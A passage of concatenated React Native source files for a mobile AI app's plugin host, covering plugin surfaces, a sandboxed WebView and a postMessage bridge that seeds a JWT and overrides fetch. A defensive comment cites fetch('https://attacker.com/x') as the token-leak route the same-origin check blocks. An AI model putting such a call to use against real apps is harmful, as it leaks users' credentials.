wins).\n */\nimport { useEffect } from 'react';\nimport { create } from 'zustand';\nimport { pluginCommandEmitter } from '@ateam-ai-mobile/core';\nimport { useSurfaceStore } from '@ateam-ai-mobile/plugin-runtime';\nimport PluginSurface from './PluginSurface';\n\ninterface WidgetHostState {\n pluginId: string | null;\n /** Engine/chip-supplied props forwarded to the plugin as PluginProps.props. */\n props?: any;\n open: (pluginId: string, props?: any) => void;\n close: () => void;\n}\n\nexport const useWidgetHostStore = create<WidgetHostState>((set) => ({\n pluginId: null,\n props: undefined,\n open: (pluginId, props) => set({ pluginId, props }),\n close: () => set({ pluginId: null, props: undefined }),\n}));\n\n/**\n * Open a widget by plugin id. Host surfaces registered in the surface store\n * take priority (they own their chrome); everything else is presented as a\n * fullscreen PluginSurface by the mounted <WidgetHost />.\n */\nexport function openWidget(pluginId: string, props?: any): void {\n const surfaces = useSurfaceStore.getState();\n if (surfaces.manifests[pluginId]) {\n surfaces.show(pluginId, props);\n return;\n }\n useWidgetHostStore.getState().open(pluginId, props);\n}\n\nexport default function WidgetHost() {\n const pluginId = useWidgetHostStore(s => s.pluginId);\n const props = useWidgetHostStore(s => s.props);\n const close = useWidgetHostStore(s => s.close);\n\n // Agent-driven proactive open: sys.focusUiPlugin(pluginId, props) flows\n // through the chat stream → core emits 'focus-plugin' → present it.\n useEffect(() => {\n return pluginCommandEmitter.on('focus-plugin', (data: any) => {\n if (data?.pluginId) openWidget(String(data.pluginId), data.props);\n });\n }, []);\n\n if (!pluginId) return null;\n\n return (\n <PluginSurface\n key={pluginId}\n pluginId={pluginId}\n surface={{ type: 'fullscreen' }}\n dismiss={close}\n props={props}\n />\n );\n}\n","/**\n * PluginSurface — universal mount that wraps any platform-declared plugin\n * (iframe or React Native) inside the right Ada-themed surface container.\n *\n * Mounted when an `engine` or `user` event activates a platform plugin that\n * declared a `surface` field in its manifest. Picks SurfaceDrawer or\n * SurfaceFullscreen based on `surface.type`, fetches the full PluginManifest\n * lazily, and renders <Plugin /> inside the body.\n */\nimport { useEffect, useState } from 'react';\nimport { View, ActivityIndicator } from 'react-native';\nimport { ada } from '@ateam-ai-mobile/core';\nimport {\n getPlugin,\n SurfaceDrawer,\n SurfaceFullscreen,\n type PluginSurfaceMeta,\n} from '@ateam-ai-mobile/plugin-runtime';\nimport type { PlatformPluginManifest as PluginManifest } from '@ateam-ai-mobile/plugin-runtime';\nimport Plugin from './Plugin';\n\ninterface Props {\n pluginId: string;\n surface: PluginSurfaceMeta;\n dismiss: () => void;\n /** Engine-supplied props forwarded from sys.focusUiPlugin(id, props). */\n props?: any;\n}\n\nexport default function PluginSurface({ pluginId, surface, dismiss, props }: Props) {\n const [manifest, setManifest] = useState<PluginManifest | null>(null);\n const [error, setError] = useState<string | null>(null);\n\n useEffect(() => {\n let cancelled = false;\n getPlugin(pluginId)\n .then(m => { if (!cancelled) m ? setManifest(m) : setError('Plugin not found'); })\n .catch(e => { if (!cancelled) setError(e?.message || 'Failed to load'); });\n return () => { cancelled = true; };\n }, [pluginId]);\n\n const body = manifest ? (\n <Plugin id={pluginId} manifest={manifest as any} props={props} />\n ) : (\n <View style={{ flex: 1, justifyContent: 'center', alignItems: 'center', padding: 24 }}>\n {error ? null : <ActivityIndicator color={ada.orange} />}\n </View>\n );\n\n if (surface.type === 'fullscreen') {\n return (\n <SurfaceFullscreen\n visible={true}\n onClose={dismiss}\n status={surface.title}\n showWordmark\n closeIcon=\"x\"\n closeLabel=\"Close\"\n >\n {body}\n </SurfaceFullscreen>\n );\n }\n\n // Default: drawer\n return (\n <SurfaceDrawer\n visible={true}\n onClose={dismiss}\n title={surface.title || pluginId}\n subtitle={surface.subtitle}\n privacy={!!surface.privacy}\n >\n {body}\n </SurfaceDrawer>\n );\n}\n","/**\n * <Plugin /> — unified plugin renderer.\n *\n * Auto-detects native vs webview, provides bridge/theme/context, wraps in an\n * error boundary.\n *\n * Usage:\n * <Plugin id=\"mcp:connector:plugin-name\" manifest={manifest} />\n */\nimport React, { useMemo } from 'react';\nimport { View, Text, Pressable, ActivityIndicator, StyleSheet } from 'react-native';\nimport { getTenant, getUser, colors } from '@ateam-ai-mobile/core';\nimport {\n usePlugin,\n useNativeBridge,\n usePluginTheme,\n resolvePluginRuntimeProps,\n type PluginContext,\n} from '@ateam-ai-mobile/plugin-runtime';\nimport EmbeddedPluginWebView from './EmbeddedPluginWebView';\n\n// ── Error Boundary ──────────────────────────────────────────\n\ninterface ErrorBoundaryState {\n hasError: boolean;\n error: Error | null;\n}\n\nclass PluginErrorBoundary extends React.Component<\n { pluginId: string; children: React.ReactNode },\n ErrorBoundaryState\n> {\n state: ErrorBoundaryState = { hasError: false, error: null };\n\n static getDerivedStateFromError(error: Error) {\n return { hasError: true, error };\n }\n\n componentDidCatch(error: Error, info: React.ErrorInfo) {\n console.error(`[Plugin:${this.props.pluginId}] Crash:`, error, info.componentStack);\n }\n\n render() {\n if (this.state.hasError) {\n return (\n <View style={styles.error}>\n <Text style={styles.errorTitle}>Plugin Error</Text>\n <Text style={styles.errorMessage}>\n {this.state.error?.message || 'An unexpected error occurred'}\n </Text>\n <Pressable\n style={styles.retryBtn}\n onPress={() => this.setState({ hasError: false, error: null })}\n >\n <Text style={styles.retryText}>Retry</Text>\n </Pressable>\n </View>\n );\n }\n return this.props.children;\n }\n}\n\n// ── Plugin Component ─────────────────────────────────────────\n\ninterface PluginRendererProps {\n /** Full plugin ID, e.g. \"mcp:connector-id:plugin-name\" */\n id: string;\n /** Plugin manifest (from API) */\n manifest: any;\n /** Shared command buffer from parent — captures commands before plugin mounts */\n commandBufferRef?: React.MutableRefObject<any[]>;\n /** Engine-supplied props from sys.focusUiPlugin(id, props) — forwarded to\n * the plugin Component as `PluginProps.props`. */\n props?: any;\n}\n\nexport default function Plugin({ id, manifest, commandBufferRef, props: engineProps }: PluginRendererProps) {\n // Load the plugin component (handles cache, download, eval)\n const { plugin, loading, error, bundleMissing } = usePlugin(id, manifest);\n\n // Extract connectorId from MCP plugin ID: mcp:<connector>:<plugin>\n const connectorId = id.startsWith('mcp:') ? id.split(':')[1] : manifest._connectorId;\n\n // Wire up bridge, the gated device surface, theme.\n const bridge = useNativeBridge(id, connectorId, commandBufferRef);\n // ONE runtime contract — the SAME resolver every surface uses, so this drawer/\n // fullscreen mount gates device/native + deviceState identically to the\n // embedded mount. Memoized so the plugin Component doesn't re-render on a fresh\n // object every pass (useApi effects key off prop identity). The manifest is the\n // sole authority here (it is a required prop); `plugin` is read by the resolver\n // only when there is no manifest, so the loaded bundle never widens its grants.\n const { device, native, deviceState, voice } = useMemo(\n () => resolvePluginRuntimeProps({ pluginId: id, manifest: manifest as any, plugin: plugin as any }),\n [id, manifest, plugin],\n );\n const theme = usePluginTheme();\n\n // Build context from the host-owned identity\n const user = getUser();\n const context = useMemo<PluginContext>(() => ({\n tenant: getTenant(),\n pluginId: id,\n connectorId,\n user: user ? { id: user.actorId || '', name: user.name || '', roles: user.roles || [] } : undefined,\n }), [id, connectorId, user?.actorId, user?.name, user?.roles]);\n\n // Fallback: connector declared an RN component but didn't ship the bundle.\n // When the manifest also has an iframeUrl (adaptive mode), render the\n // WebView instead of an error screen. Must run AFTER all hook calls above\n // to keep hook order stable across renders.\n const iframeUrl = manifest?.render?.iframeUrl;\n if (bundleMissing && iframeUrl) {\n return <EmbeddedPluginWebView pluginId={id} manifest={manifest} commandBufferRef={commandBufferRef} />;\n }\n\n if (loading) {\n return (\n <View style={styles.center}>\n <ActivityIndicator size=\"small\" color={colors.dark.accent} />\n <Text style={styles.loadingText}>Loading plugin...</Text>\n </View>\n );\n }\n\n if (error || !plugin) {\n return (\n <View style={styles.center}>\n <Text style={styles.errorMessage}>{error || 'Plugin not found'}</Text>\n </View>\n );\n }\n\n const { Component } = plugin;\n return (\n <PluginErrorBoundary pluginId={id}>\n {/* `device` is canonical (R4); `native` is the deprecated alias — same\n gated object — so existing/remote plugin bundles keep working. */}\n <Component bridge={bridge} device={device} native={native} deviceState={deviceState} voice={voice} theme={theme} context={context} props={engineProps} />\n </PluginErrorBoundary>\n );\n}\n\n// ── Styles ───────────────────────────────────────────────────\n\nconst styles = StyleSheet.create({\n center: {\n flex: 1,\n justifyContent: 'center',\n alignItems: 'center',\n backgroundColor: colors.dark.bgPrimary,\n paddingHorizontal: 32,\n gap: 12,\n },\n loadingText: {\n color: colors.dark.textSecondary,\n fontSize: 14,\n },\n error: {\n flex: 1,\n justifyContent: 'center',\n alignItems: 'center',\n backgroundColor: colors.dark.bgPrimary,\n paddingHorizontal: 32,\n gap: 8,\n },\n errorTitle: {\n color: colors.dark.red,\n fontSize: 16,\n fontWeight: '600',\n },\n errorMessage: {\n color: colors.dark.textSecondary,\n fontSize: 14,\n textAlign: 'center',\n },\n retryBtn: {\n marginTop: 12,\n paddingHorizontal: 20,\n paddingVertical: 10,\n backgroundColor: colors.dark.accentSoft,\n borderRadius: 8,\n },\n retryText: {\n color: colors.dark.accent,\n fontSize: 14,\n fontWeight: '600',\n },\n});\n","import { useState, useMemo, useCallback, useEffect } from 'react';\nimport { View, Text, ActivityIndicator, StyleSheet, Platform } from 'react-native';\nimport { WebView } from 'react-native-webview';\nimport { getConfig, getCoreApiUrl, getVoiceApiUrl, getTenant, getToken, ada } from '@ateam-ai-mobile/core';\nimport { resolvePluginUrl, type PlatformPluginManifest as PluginManifest } from '@ateam-ai-mobile/plugin-runtime';\nimport { usePluginBridge, buildPluginBridgeJS } from './usePluginBridge';\nimport { getPluginWebViewExtraHosts } from '../providers';\n\ninterface Props {\n pluginId: string;\n manifest: PluginManifest;\n commandBufferRef?: React.MutableRefObject<any[]>;\n}\n\n/**\n * WebView renderer for iframe-mode plugins. The injected bridge JS makes\n * existing web plugins work unmodified; the origin guards below make sure\n * the JWT seeded into localStorage can never leave the trusted hosts.\n */\nexport default function EmbeddedPluginWebView({ pluginId, manifest, commandBufferRef }: Props) {\n const [error, setError] = useState<string | null>(null);\n\n const token = getToken();\n const tenant = getTenant();\n\n // _connectorId from the manifest (set by cp.getContextPlugin) — same as\n // what the web PluginHost sends in init.\n const { webViewRef, sendInit, handleMessage } = usePluginBridge(pluginId, manifest._connectorId, commandBufferRef);\n\n const url = resolvePluginUrl(manifest, tenant || undefined);\n // An error belongs to the URL that produced it: a new URL (a fresh signature,\n // a corrected tenant) gets a fresh load instead of the old error forever.\n useEffect(() => { setError(null); }, [url]);\n const bridgeJS = buildPluginBridgeJS(token || '', tenant || '');\n\n // Hosts the plugin may navigate to — derived from the SDK config plus any\n // host-registered extras (e.g. a relay service). Resolved LIVE on every\n // read, never frozen at mount: config URLs can change after hydration and a\n // stale whitelist silently bounces plugin URLs out to the system browser\n // (a documented regression in the reference app).\n const computeAllowedHosts = useCallback((): Set<string> => {\n const hosts = new Set<string>();\n const urls = [getCoreApiUrl()];\n // voiceUrl is optional and may be a getter — resolve via getVoiceApiUrl()\n // (which throws when unset, so gate on the raw config first).\n if (getConfig().voiceUrl) urls.push(getVoiceApiUrl());\n try { urls.push(...(getPluginWebViewExtraHosts()?.() || [])); } catch { /* host getter threw */ }\n for (const u of urls) {\n try { hosts.add(new URL(u).hostname); } catch { /* ignore bad URL */ }\n }\n return hosts;\n }, []);\n\n const isAllowedPluginUrl = useCallback((rawUrl: string | undefined | null): boolean => {\n if (!rawUrl) return false;\n // about:blank, data:, file: — never allow off-origin navigation\n let parsed: URL;\n try { parsed = new URL(rawUrl); } catch { return false; }\n if (parsed.protocol !== 'https:' && parsed.protocol !== 'http:') return false;\n if (parsed.protocol === 'http:') return false; // belt-and-suspenders with mixedContentMode=never\n return computeAllowedHosts().has(parsed.hostname);\n }, [computeAllowedHosts]);\n\n const originWhitelist = useMemo(\n () => Array.from(computeAllowedHosts()).map(h => `https://${h}`),\n [computeAllowedHosts],\n );\n\n if (error) {\n return (\n <View style={styles.center}>\n <Text style={styles.errorText}>{error}</Text>\n </View>\n );\n }\n\n return (\n <View style={styles.container}>\n <WebView\n ref={webViewRef}\n source={{ uri: url }}\n style={styles.webview}\n javaScriptEnabled\n domStorageEnabled\n allowsInlineMediaPlayback\n mediaPlaybackRequiresUserAction={false}\n // SECURITY:\n // mixedContentMode=never → block any plain HTTP load inside the WebView.\n // originWhitelist → only the ADAS-owned hosts.\n // onShouldStartLoadWithRequest → reject navigation off allowlisted hosts.\n // setSupportMultipleWindows / javaScriptCanOpenWindowsAutomatically\n // → prevent window.open() from spawning a WebView that inherits\n // the bridge but skips the origin guard.\n // allowsBackForwardNavigationGestures=false\n // → a user gesture must not be a way out of the sandbox.\n // The bridge writes the JWT into the WebView's localStorage; these\n // guards make sure it can never leave the trusted origins.\n mixedContentMode=\"never\"\n originWhitelist={originWhitelist}\n allowsBackForwardNavigationGestures={false}\n setSupportMultipleWindows={false}\n javaScriptCanOpenWindowsAutomatically={false}\n onShouldStartLoadWithRequest={(req) => {\n if (!isAllowedPluginUrl(req.url)) {\n console.warn(`[EmbeddedPluginWebView] BLOCKED nav to disallowed origin: ${req.url}`);\n return false;\n }\n return true;\n }}\n injectedJavaScriptBeforeContentLoaded={bridgeJS}\n onMessage={handleMessage}\n onLoad={() => {\n // Send init with retries to beat the race condition\n setTimeout(sendInit, 100);\n setTimeout(sendInit, 500);\n setTimeout(sendInit, 1200);\n }}\n onError={(syntheticEvent) => {\n const { nativeEvent } = syntheticEvent;\n console.warn('[EmbeddedPluginWebView] Error:', nativeEvent.description);\n setError(`WebView error: ${nativeEvent.description}`);\n }}\n onHttpError={(syntheticEvent) => {\n const { nativeEvent } = syntheticEvent;\n console.warn('[EmbeddedPluginWebView] HTTP error:', nativeEvent.statusCode, nativeEvent.url);\n if (nativeEvent.statusCode >= 400) {\n setError(`HTTP ${nativeEvent.statusCode}: Failed to load plugin`);\n }\n }}\n startInLoadingState\n renderLoading={() => (\n <View style={styles.webviewLoading}>\n <ActivityIndicator size=\"small\" color={ada.orange} />\n <Text style={styles.loadingText}>Loading plugin...</Text>\n </View>\n )}\n {...(Platform.OS === 'ios' ? { bounces: false } : {})}\n />\n </View>\n );\n}\n\nconst styles = StyleSheet.create({\n container: {\n flex: 1,\n backgroundColor: ada.paper,\n },\n center: {\n flex: 1,\n justifyContent: 'center',\n alignItems: 'center',\n backgroundColor: ada.paper,\n paddingHorizontal: 32,\n },\n errorText: {\n color: '#C15545',\n fontSize: 16,\n textAlign: 'center',\n },\n webview: {\n flex: 1,\n backgroundColor: ada.paper,\n },\n webviewLoading: {\n position: 'absolute',\n top: 0,\n left: 0,\n right: 0,\n bottom: 0,\n justifyContent: 'center',\n alignItems: 'center',\n backgroundColor: ada.paper,\n gap: 12,\n },\n loadingText: {\n color: ada.inkSoft,\n fontSize: 14,\n },\n});\n","import { useCallback, useEffect, useRef } from 'react';\nimport {\n getTenant,\n connectorCall,\n mcpFetch,\n mcpToolCall,\n postCommandResult,\n pluginCommandEmitter,\n} from '@ateam-ai-mobile/core';\n\n/**\n * PostMessage bridge between the React Native host and a plugin WebView.\n * Implements the same protocol as PluginHost.jsx in the web frontend.\n *\n * Handles THREE communication paths:\n * 1. fetch(\"/mcp\") — intercepted in bridge JS, proxied through postMessage\n * 2. postMessage mcp-call — direct postMessage from plugin SDK\n * 3. plugin commands — routed from the job stream to the WebView\n */\nexport function usePluginBridge(\n pluginId: string,\n connectorId?: string,\n commandBufferRef?: React.MutableRefObject<any[]>,\n wsRef?: { current: WebSocket | null },\n) {\n // Loosely typed on purpose: react-native-webview's generic class type\n // resolves JSX props to `never` under React 19 typings when used as a\n // useRef parameter. Runtime shape is the WebView instance (postMessage).\n const webViewRef = useRef<any>(null);\n\n // Send init message to plugin (mirrors web PluginHost sendInit)\n const sendInit = useCallback(() => {\n const msg = JSON.stringify({\n source: 'adas-host',\n pluginId,\n message: {\n type: 'init',\n payload: {\n tenant: getTenant(),\n connectorId: connectorId || null,\n mcpEndpoint: null,\n slug: null,\n skillSlug: null,\n },\n },\n });\n webViewRef.current?.postMessage(msg);\n }, [pluginId, connectorId]);\n\n // Send result back to plugin WebView\n const sendToPlugin = useCallback(\n (type: string, payload: any) => {\n const msg = JSON.stringify({\n source: 'adas-host',\n message: { type, payload },\n });\n webViewRef.current?.postMessage(msg);\n },\n [],\n );\n\n // Helper to dispatch a command to the WebView plugin\n const dispatchToWebView = useCallback((cmd: any) => {\n if (cmd.command === '__focus') return; // Focus-only, handled by the host screen\n const msg = JSON.stringify({\n source: 'adas-host',\n pluginId,\n message: {\n type: 'plugin.command',\n payload: {\n command: cmd.command,\n args: cmd.args,\n correlationId: cmd.correlationId,\n },\n },\n });\n webViewRef.current?.postMessage(msg);\n }, [pluginId]);\n\n // ── Listen for live plugin commands from the job stream ──\n useEffect(() => {\n const unsub = pluginCommandEmitter.on('plugin-command', (cmd: any) => {\n if (cmd.pluginId !== pluginId) return;\n dispatchToWebView(cmd);\n });\n return unsub;\n }, [pluginId, dispatchToWebView]);\n\n // ── Flush buffered commands when the WebView loads ──\n useEffect(() => {\n if (!commandBufferRef) return;\n // Flush after a delay to let the iframe initialize\n const timer = setTimeout(() => {\n const buf = commandBufferRef.current;\n const remaining: any[] = [];\n for (const cmd of buf) {\n if (cmd.pluginId === pluginId) {\n dispatchToWebView(cmd);\n } else {\n remaining.push(cmd);\n }\n }\n commandBufferRef.current = remaining;\n }, 1000);\n return () => clearTimeout(timer);\n }, [pluginId, commandBufferRef, dispatchToWebView]);\n\n // Handle messages from plugin WebView\n const handleMessage = useCallback(\n async (event: { nativeEvent: { data: string } }) => {\n let data: any;\n try {\n data = JSON.parse(event.nativeEvent.data);\n } catch {\n return;\n }\n\n if (data.source !== 'adas-plugin') return;\n\n const action = data.message?.action || data.action;\n const payload = data.message?.payload || data.payload;\n const type = data.message?.type || data.type;\n\n // -----------------------------------------------------------------\n // 1. Intercepted fetch(\"/mcp\") — proxy to Core backend\n // -----------------------------------------------------------------\n if (action === 'mcp-fetch' && payload?.requestId) {\n const { requestId, body } = payload;\n try {\n const result = await mcpFetch(body);\n sendToPlugin('mcp-fetch-result', { requestId, result, error: null });\n } catch (err: any) {\n console.warn('[PluginBridge] mcp-fetch ERROR:', err.message);\n sendToPlugin('mcp-fetch-result', { requestId, result: null, error: err.message });\n }\n return;\n }\n\n // -----------------------------------------------------------------\n // 2. PostMessage mcp-call — plugin SDK's callTool()\n // a) toolName present (e.g. \"cp.fe_api\") → JSON-RPC to /mcp\n // b) direct connectorId/tool → /api/connectors/:id/call\n // -----------------------------------------------------------------\n if (action === 'mcp-call' && payload?.requestId) {\n const { requestId, toolName, args: callArgs } = payload;\n\n // Path A: JSON-RPC tool call (cp.fe_api, cp.admin_api, etc.)\n if (toolName) {\n try {\n const rpcResponse = await mcpToolCall(toolName, callArgs || {});\n // Unwrap the JSON-RPC envelope — plugin expects { content: [...] }\n const result = rpcResponse?.result ?? rpcResponse;\n sendToPlugin('mcp-result', { requestId, result, error: null });\n } catch (err: any) {\n sendToPlugin('mcp-result', { requestId, result: null, error: err.message });\n }\n return;\n }\n\n // Path B: direct connector call (connectorId + tool). The plugin may\n // send connectorId/tool at payload level OR nested in args.\n const cId = payload.connectorId || callArgs?.connectorId || callArgs?.params?.connectorId;\n const tool = payload.tool || callArgs?.tool || callArgs?.params?.tool;\n const toolArgs = payload.args || callArgs?.args || callArgs?.params?.args || {};\n\n if (!cId || !tool) {\n console.error(`[PluginBridge] mcp-call missing params — connectorId: ${cId}, tool: ${tool}`);\n sendToPlugin('mcp-result', { requestId, result: null, error: `Missing connectorId or tool in mcp-call. Got connectorId=${cId}, tool=${tool}` });\n return;\n }\n\n try {\n const data = await connectorCall(cId, tool, toolArgs);\n if (data.ok) {\n sendToPlugin('mcp-result', { requestId, result: data.result, error: null });\n } else {\n sendToPlugin('mcp-result', { requestId, result: null, error: data.error || 'MCP call failed' });\n }\n } catch (err: any) {\n sendToPlugin('mcp-result', { requestId, result: null, error: err.message });\n }\n return;\n }\n\n // -----------------------------------------------------------------\n // 3. Plugin self-close — return to chat\n // -----------------------------------------------------------------\n if (action === 'close') {\n pluginCommandEmitter.emit('plugin-close', { pluginId });\n return;\n }\n\n // -----------------------------------------------------------------\n // 4. Plugin command result — WebSocket (preferred) or HTTP POST\n // -----------------------------------------------------------------\n if (type === 'plugin.command.result' && payload?.correlationId) {\n const ws = wsRef?.current;\n if (ws && ws.readyState === WebSocket.OPEN) {\n try {\n ws.send(JSON.stringify({\n type: 'plugin-command-result',\n correlationId: payload.correlationId,\n result: payload.result,\n error: payload.error,\n }));\n } catch (err: any) {\n console.warn('[PluginBridge] WS send failed, falling back to POST:', err.message);\n await postCommandResult(payload.correlationId, payload.result, payload.error).catch(() => {});\n }\n } else {\n try {\n await postCommandResult(payload.correlationId, payload.result, payload.error);\n } catch (err: any) {\n console.warn('[PluginBridge] Failed to send command result:', err.message);\n }\n }\n return;\n }\n },\n [sendToPlugin],\n );\n\n return {\n webViewRef,\n sendInit,\n handleMessage,\n };\n}\n\n/**\n * Build injected JavaScript that:\n * 1. Seeds localStorage with JWT + tenant (plugins read from localStorage)\n * 2. Intercepts fetch(\"/mcp\") and proxies through the postMessage bridge\n * 3. Bridges iframe postMessage API to React Native WebView\n *\n * This makes existing web plugins work on mobile WITHOUT modification.\n */\nexport function buildPluginBridgeJS(jwt: string, tenant: string): string {\n return `\n(function() {\n function _dbg(msg) {\n console.log('[PluginBridge] ' + msg);\n }\n\n // 1. Seed localStorage. JWT is required by web-shared plugin code\n // (cpFeApi.ts etc. read localStorage.adas.jwt directly). Origin lockdown\n // lives in EmbeddedPluginWebView (originWhitelist +\n // onShouldStartLoadWithRequest) — not here. Never log the token.\n try {\n localStorage.setItem('adas.jwt', ${JSON.stringify(jwt)});\n localStorage.setItem('adas.tenant', ${JSON.stringify(tenant)});\n _dbg('localStorage seeded: jwt=' + (${JSON.stringify(jwt)} ? '[present]' : '[absent]') + ' tenant=' + ${JSON.stringify(tenant)});\n } catch(e) { _dbg('localStorage ERROR: ' + e.message); }\n\n // 2. Intercept ALL fetch calls — proxy /mcp through the RN bridge\n var _origFetch = window.fetch.bind(window);\n var _mcpReqId = 0;\n var _pendingMcp = {};\n\n window.fetch = function(url, opts) {\n var urlStr = (typeof url === 'string') ? url : (url && url.url) || '';\n var method = (opts && opts.method) || 'GET';\n\n _dbg('FETCH ' + method + ' ' + urlStr.substring(0, 80));\n\n // Intercept /mcp calls\n if (urlStr === '/mcp' || urlStr.endsWith('/mcp')) {\n _dbg(' -> INTERCEPTED /mcp, proxying via RN bridge');\n return new Promise(function(resolve, reject) {\n var requestId = 'mcp-f-' + (++_mcpReqId) + '-' + Date.now();\n _pendingMcp[requestId] = { resolve: resolve, reject: reject };\n window.ReactNativeWebView.postMessage(JSON.stringify({\n source: 'adas-plugin',\n action: 'mcp-fetch',\n payload: { requestId: requestId, body: opts && opts.body ? opts.body : null }\n }));\n setTimeout(function() {\n if (_pendingMcp[requestId]) {\n delete _pendingMcp[requestId];\n _dbg('TIMEOUT mcp-fetch ' + requestId);\n reject(new Error('MCP fetch timeout (30s)'));\n }\n }, 30000);\n });\n }\n\n // Inject Authorization header ONLY for same-origin requests. A relative\n // path resolves against window.location.origin; an absolute URL must\n // literally match. This stops a plugin from leaking the JWT to a foreign\n // host via fetch('https://attacker.com/x') or via <base href>.\n var sameOrigin = false;\n try {\n var resolved = new URL(urlStr, window.location.origin);\n sameOrigin = (resolved.origin === window.location.origin);\n } catch (_) { sameOrigin = false; }\n if (sameOrigin) {\n opts = Object.assign({}, opts || {});\n var h = opts.headers;\n if (h instanceof Headers) {\n if (!h.has('Authorization')) { var jwt = localStorage.getItem('adas.jwt'); if (jwt) h.set('Authorization', 'Bearer ' + jwt); }\n } else {\n h = Object.assign({}, h || {});\n if (!h['Authorization'] && !h['authorization']) { var jwt2 = localStorage.getItem('adas.jwt'); if (jwt2) h['Authorization'] = 'Bearer ' + jwt2; }\n opts.headers = h;\n }\n }\n\n return _origFetch(url, opts).then(function(res) {\n _dbg(' <- ' + res.status + ' ' + urlStr.substring(0, 60));\n return res;\n }).catch(function(err) {\n _dbg(' <- FETCH ERR: ' + err.message + ' ' + urlStr.substring(0, 40));\n throw err;\n });\n };\n\n // Handle results from RN host\n function _handleHostMessage(d) {\n if (!d || d.source !== 'adas-host') return;\n var msg = d.message || {};\n\n // mcp-fetch-result: response to intercepted fetch(\"/mcp\")\n if (msg.type === 'mcp-fetch-result' && msg.payload) {\n var p = msg.payload;\n var pending = _pendingMcp[p.requestId];\n if (pending) {\n delete _pendingMcp[p.requestId];\n if (p.error) {\n pending.reject(new Error(p.error));\n } else {\n pending.resolve(new Response(JSON.stringify(p.result), {\n status: 200,\n headers: { 'Content-Type': 'application/json' }\n }));\n }\n }\n }\n }\n\n // 3. Override window.parent.postMessage (plugins use this in iframes)\n window.parent = window.parent || {};\n window.parent.postMessage = function(data, origin) {\n if (data && data.source === 'adas-plugin') {\n window.ReactNativeWebView.postMessage(JSON.stringify(data));\n }\n };\n\n // 4. Also intercept direct window.postMessage\n var origPost = window.postMessage.bind(window);\n window.postMessage = function(data, origin) {\n if (data && data.source === 'adas-plugin') {\n window.ReactNativeWebView.postMessage(JSON.stringify(data));\n }\n origPost(data, origin);\n };\n\n // 5. Forward messages from RN host -> plugin\n // iOS: window 'message' event, Android: document 'message' event\n window.addEventListener('message', function(e) {\n try {\n var d = typeof e.data === 'string' ? JSON.parse(e.data) : e.data;\n if (d && d.source === 'adas-host') {\n _handleHostMessage(d);\n if (typeof e.data === 'string') {\n window.dispatchEvent(new MessageEvent('message', { data: d }));\n }\n }\n } catch(_) {}\n });\n\n document.addEventListener('message', function(e) {\n try {\n var d = typeof e.data === 'string' ? JSON.parse(e.data) : e.data;\n _handleHostMessage(d);\n window.dispatchEvent(new MessageEvent('message', { data: d }));\n } catch(_) {}\n });\n\n _dbg('Bridge JS loaded. Waiting for plugin...');\n true;\n})();\n`;\n}\n","// Renders the option chips for an assistant turn that asked a question with\n// choices (sys.askUser). This is NOT a special \"pending question\" mode — a tap\n// simply calls sendMessage(label), i.e. the user's answer goes back as an\n// ordinary new message (exactly what they'd get by typing it). Kept separate\n// from UIActionsRow (home-action chips) so that mechanism is untouched.\nimport React from 'react';\nimport { View, Text, Pressable, StyleSheet, Platform } from 'react-native';\nimport { ada, fontSize, useChatStore } from '@ateam-ai-mobile/core';\n\nconst fontFam = Platform.OS === 'ios' ? 'SF Pro Rounded' : undefined;\n\n/** Normalize the options: confirm → Yes/No when no explicit options given. */\nfunction resolveOptions(inputType: string | undefined, options?: string[]): string[] {\n if (Array.isArray(options) && options.length) return options.filter(o => typeof o === 'string' && o.trim());\n if (inputType === 'confirm') return ['Yes', 'No'];\n return [];\n}\n\nexport default function QuestionChips({\n inputType,\n options,\n}: {\n inputType?: string;\n options?: string[];\n}) {\n const opts = resolveOptions(inputType, options);\n if (!opts.length) return null;\n\n const answer = (label: string) => {\n // The reply is just another message on the same chain — the chain-router\n // folds it into the running task. No dedicated respond endpoint.\n try { useChatStore.getState().sendMessage(label); } catch { /* no-op */ }\n };\n\n return (\n <View style={styles.row}>\n {opts.map((label, i) => (\n <Pressable\n key={`${label}-${i}`}\n accessibilityRole=\"button\"\n accessibilityLabel={label}\n onPress={() => answer(label)}\n style={({ pressed }) => [styles.chip, pressed && styles.chipPressed]}\n >\n <Text style={styles.label} numberOfLines={2}>{label}</Text>\n </Pressable>\n ))}\n </View>\n );\n}\n\nconst styles = StyleSheet.create({\n row: {\n flexDirection: 'row',\n flexWrap: 'wrap',\n gap: 6,\n marginTop: 10,\n },\n chip: {\n paddingHorizontal: 12,\n paddingVertical: 8,\n backgroundColor: ada.orangeSoft,\n borderColor: ada.orange,\n borderWidth: 1,\n borderRadius: 14,\n },\n chipPressed: {\n backgroundColor: ada.orange,\n },\n label: {\n color: ada.orangeDeep,\n fontSize: fontSize.xs,\n fontWeight: '600',\n fontFamily: fontFam,\n },\n});\n","import { View, Text, StyleSheet, Platform } from 'react-native';\nimport { ada, borderRadius, fontSize, spacing } from '@ateam-ai-mobile/core';\n\nconst fontFam = Platform.OS === 'ios' ? 'SF Pro Rounded' : undefined;\n\ninterface Props {\n columns: string[];\n rows: any[][];\n}\n\n/**\n * Renders tabular data as a vertical stack of cards — one card per row.\n * The first column becomes the card title; remaining columns become\n * key:value rows inside the card. Built specifically for narrow phone\n * screens where horizontal markdown tables become unreadable.\n */\nexport default function TableCardBlock({ columns, rows }: Props) {\n if (!columns?.length || !rows?.length) return null;\n\n const [titleCol, ...detailCols] = columns;\n\n return (\n <View style={styles.wrap}>\n {rows.map((row, i) => {\n const cells = Array.isArray(row) ? row : [row];\n const title = cells[0];\n return (\n <View key={i} style={styles.card}>\n <Text style={styles.title}>{String(title ?? '')}</Text>\n {detailCols.length > 0 && (\n <View style={styles.details}>\n {detailCols.map((col, ci) => {\n const value = cells[ci + 1];\n if (value == null || value === '') return null;\n return (\n <View key={ci} style={styles.row}>\n <Text style={styles.label}>{String(col)}</Text>\n <Text style={styles.value}>{String(value)}</Text>\n </View>\n );\n })}\n </View>\n )}\n </View>\n );\n })}\n </View>\n );\n}\n\nconst styles = StyleSheet.create({\n wrap: {\n marginVertical: 6,\n gap: 8,\n },\n card: {\n backgroundColor: ada.paper,\n borderRadius: borderRadius.md,\n borderWidth: 1,\n borderColor: ada.border,\n padding: spacing.md,\n },\n title: {\n color: ada.ink,\n fontSize: fontSize.md,\n fontWeight: '600',\n fontFamily: fontFam,\n letterSpacing: -0.2,\n marginBottom: 6,\n },\n details: {\n gap: 4,\n },\n row: {\n flexDirection: 'row',\n alignItems: 'flex-start',\n gap: 8,\n },\n label: {\n color: ada.inkMuted,\n fontSize: fontSize.xs,\n fontFamily: fontFam,\n 